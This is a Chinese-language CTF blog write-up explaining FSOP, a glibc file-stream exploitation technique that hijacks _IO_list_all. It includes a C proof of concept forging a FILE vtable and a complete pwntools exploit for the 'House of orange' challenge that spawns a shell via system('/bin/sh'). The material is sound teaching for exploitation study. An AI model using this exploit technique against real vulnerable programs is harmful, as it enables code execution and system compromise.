IO_FILE hack FSOP

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


概述

来自CTFwiki

FSOPFile Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。
FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}

在这里插入图片描述
而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时


hack

在这里插入图片描述

FSOP 利用的条件:
(1)首先需要攻击者获知 libc.so 基址,因为_IO_list_all 是作为全局变量储存在 libc.so 中的,不泄漏 libc 基址就不能改写_IO_list_all

(2)之后需要用任意地址写把_IO_list_all 的内容改为指向我们可控内存的指针

(3) 布置数据

之后的问题是在可控内存中布置什么数据,毫无疑问的是需要布置一个我们理想函数的 vtable 指针。但是为了能够让我们构造的 fake_FILE 能够正常工作,还需要布置一些其他数据。 这里的依据是我们前面给出的

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }

因此上面的if语句实质上是判断该FILE结构输出缓冲区是否还有数据,如果有的话则调用_IO_OVERFLOW去刷新缓冲区。
其中_IO_OVERFLOW是vtable中的函数,因此如果我们可以控制_IO_list_all链表中的一个节点的话,就有可能控制程序执行流。
就是这一小段

fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base

验证思路:
首先我们分配一块内存用于存放伪造的 vtable 和_IO_FILE_plus。 为了绕过验证,我们提前获得了_IO_write_ptr_IO_write_base_mode 等数据域的偏移,这样可以在伪造的 vtable 中构造相应的数据

#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
    void *ptr;
    long long *list_all_ptr;

    ptr=malloc(0x200);//申请0x200个字节,后 0x100 个字节作为 vtable,在 vtable 中使用 0x41414141 这个地址作为伪造的_IO_overflow 指针。

    *(long long*)((long long)ptr+mode_offset)=0x0;
    //fp->_mode <= 0
    *(long long*)((long long)ptr+writeptr_offset)=0x1;
    *(long long*)((long long)ptr+writebase_offset)=0x0;
    //fp->_IO_write_ptr > fp->_IO_write_base
    //在每个指针指向的地方写数据
    *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);

    *(long long*)((long long)ptr+0x100+24)=0x41414141;
//后 0x100 个字节作为 vtable
    list_all_ptr=(long long *)_IO_list_all;
//覆盖位于 libc 中的全局变量 _IO_list_all,把它指向我们伪造的_IO_FILE_plus。
    list_all_ptr[0]=ptr;
//修改_IO_overflow
    exit(0);
    //通过调用 exit 函数,程序会执行 _IO_flush_all_lockp,经过 fflush 获取_IO_list_all 的值并取出作为_IO_FILE_plus 调用其中的_IO_overflow
}

前 0x100 个字节作为_IO_FILE,后 0x100 个字节作为 vtable,在 vtable 中使用 0x41414141 这个地址作为伪造的_IO_overflow 指针。

之后,覆盖位于 libc 中的全局变量 _IO_list_all,把它指向我们伪造的_IO_FILE_plus。

通过调用 exit 函数,程序会执行 _IO_flush_all_lockp,经过 fflush 获取_IO_list_all 的值并取出作为_IO_FILE_plus 调用其中的_IO_overflow,

---> call _IO_overflow
[#0] 0x7ffff7a89193 → Name: _IO_flush_all_lockp(do_lock=0x0)
[#1] 0x7ffff7a8932a → Name: _IO_cleanup()
[#2] 0x7ffff7a46f9b → Name: __run_exit_handlers(status=0x0, listp=<optimized out>, run_list_atexit=0x1)
[#3] 0x7ffff7a47045 → Name: __GI_exit(status=<optimized out>)
[#4] 0x4005ce → Name: main()

还有一种利用方法,将该链表中的一个节点(_chain字段)指向伪造的数据,最终触发_IO_flush_all_lockp,绕过检查,调用_IO_OVERFLOW时实现执行流劫持。

例题:House of orange 2016-pwn450

程序中使用的unsorted bin attack改写_IO_list_all,使用sysmalloc得到unsorted

思路

题目是一道菜单题,可以创建、编辑、以及删除堆块,其中只允许同时对一个堆块进行操作,只有释放了当前堆块才可以申请下一个堆块。
也就是说不能通过 free unsorted bin通过堆叠打印了
在创建函数中,堆块被malloc出来后会打印堆的地址,可以使用该函数来泄露堆地址。
漏洞在编辑函数中,编辑函数可以输入任意长的字符,因此可以造成堆溢出。
申请大的堆块,申请堆块很大时,mmap出来的内存堆块会紧贴着libc,可通过偏移得到libc地址。从下图中可以看到,当申请堆块大小为0x200000时,申请出来的堆块紧贴libc,可通过堆块地址得到libc基址。
在这里插入图片描述
利用top chunk不足时,系统会切一块新的top chunk,然后之前的,不够的top chunk会被释放,放入到unsorted bin中

size需要大于0x20(MINSIZE)
prev_inuse位要为1
top chunk address + top chunk size 必须是页对齐的(页大小一般为0x1000)

如果只有一个unsorted chunk,是无法实现 attack的,所以需要构造更多的unsorted chunk,这一点可以通过覆盖刚刚加入到unsorted bin里面的chunk的后一个chunk的prev inuse位,这样在从这个unsorted chunk中申请出一个小的chunk后再释放掉的时候,就不会发生合并,即可实现构造更多的unsorted chunk。

exp:

 from pwn import *
  from ctypes import *
   
  DEBUG = 1
  if DEBUG:
      p = process('./note')
  else:
      #p = remote('106.75.84.74', 10001)
   
   def add_note(size):
       p.recvuntil('option--->>')
       p.send('1n')
       p.recvuntil('the size:')
       p.send(str(size)+'n')
       data=p.recvuntil('n')
       try:
           ptr=int(data[:-1],16)
       except:
           print data
           return
       return ptr
  
   def delete_note():
       p.recvuntil('option--->>')
       p.send('4n')
   
   def edit_note(data):
       if "n" in data:
           print "yes"
       p.recvuntil('option--->>')
       p.send('3n')
       p.recvuntil('content:')
       p.send(data+'n')
        
   #call free func addr 0x4009AA
   def pwn():
       gdb.attach(p,"b *0x400946")
       mmap=add_note(0x2000000)-0x10 #要减去size的0x10
       libc=mmap+0x2001000  #gain the libc address
       system_addr=libc+0x414f0 
       io_list=libc+0x3a4040
       main_arena=libc+0x3A3620+88 #give offset
    
       log.success("libc = " + hex(libc))
       log.success("system address = " + hex(system_addr))
       log.success("IO_LIST address = " + hex(io_list))
       log.success("main_arena address = " + hex(main_arena - 88))
     
        delete_note()# free掉之前的大块
        heap=add_note(512)-0x10
        print hex(heap)
  
        data='a'*0x200+p64(0)+p64(0xdf1)+"x00"*0x18+p64(0x21)  
        edit_note(data)     #make the top chunk size from 0x3000 to 0x1000
        delete_note() #free掉512大小的chunk
        add_note(0x1000)    #then the top chunk will be freed, it will be puted to unsorted bin chunk
        delete_note()#free掉0x1000的chunk
      
        add_note(512)#unsorted bin中取出来512 字节的chunk
        data="a"*0x200+p64(0)+p64(0xdd1)+p64(main_arena)+p64(main_arena)+'x00'*0xdb0+p64(0)+p64(0x11)
        edit_note(data)
        delete_note()#here, the chunk of 512 bytes will not consolidate with the 0xdd0 chunk, because the prev inuse bit has been set, 0x11
  
        add_note(528) #this malloc will spilt the 0xdd0 chunk into two chunks, and system may put 512 chunk to the small bin chunk.
        delete_note()# right now ,unsorted bin chunk has two chunk,one is 528,the other one is 0xdd0-528, and small bin chunk has one chunk ,which is 512
        add_note(512)
        data="a"*0x200+p64(0x210)+p64(0x221)+p64(heap+0x430)+p64(main_arena)+'x00'*(0x220-0x20)
        fake_chunk_and_fake_io_list="/bin/shx00" + p64(0x61)+p64(0)+p64(io_list-0x10)#former 32bits is fake chunk
        fake_chunk_and_fake_io_list+=p64(0) #write_base
        fake_chunk_and_fake_io_list+=p64(1) #write_ptr  satisfy fp->_IO_write_ptr > fp->_IO_write_base
        fake_chunk_and_fake_io_list=fake_chunk_and_fake_io_list.ljust(0xc0,'x00')
     
        fake_chunk_and_fake_io_list+=p64(0xffffffffffffffff)  #here set fp->mode=-1 to bypass the check
        fake_chunk_and_fake_io_list=fake_chunk_and_fake_io_list.ljust(0xd8,'x00')
        vtable=heap+0x10+0x200+0x220+len(fake_chunk_and_fake_io_list)+8
        fake_chunk_and_fake_io_list+=p64(vtable)
        fake_chunk_and_fake_io_list+=p64(0) #dummy 0
        fake_chunk_and_fake_io_list+=p64(0) #dummy 1
        fake_chunk_and_fake_io_list+=p64(1)#finish addr
        fake_chunk_and_fake_io_list+=p64(system_addr) #IO_OVERFLOW
        data+=fake_chunk_and_fake_io_list
        edit_note(data)
        delete_note()
      
        sleep(0.5)
        add_note(0xb00)
        p.interactive()
  
    if __name__ == '__main__':
        pwn()
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值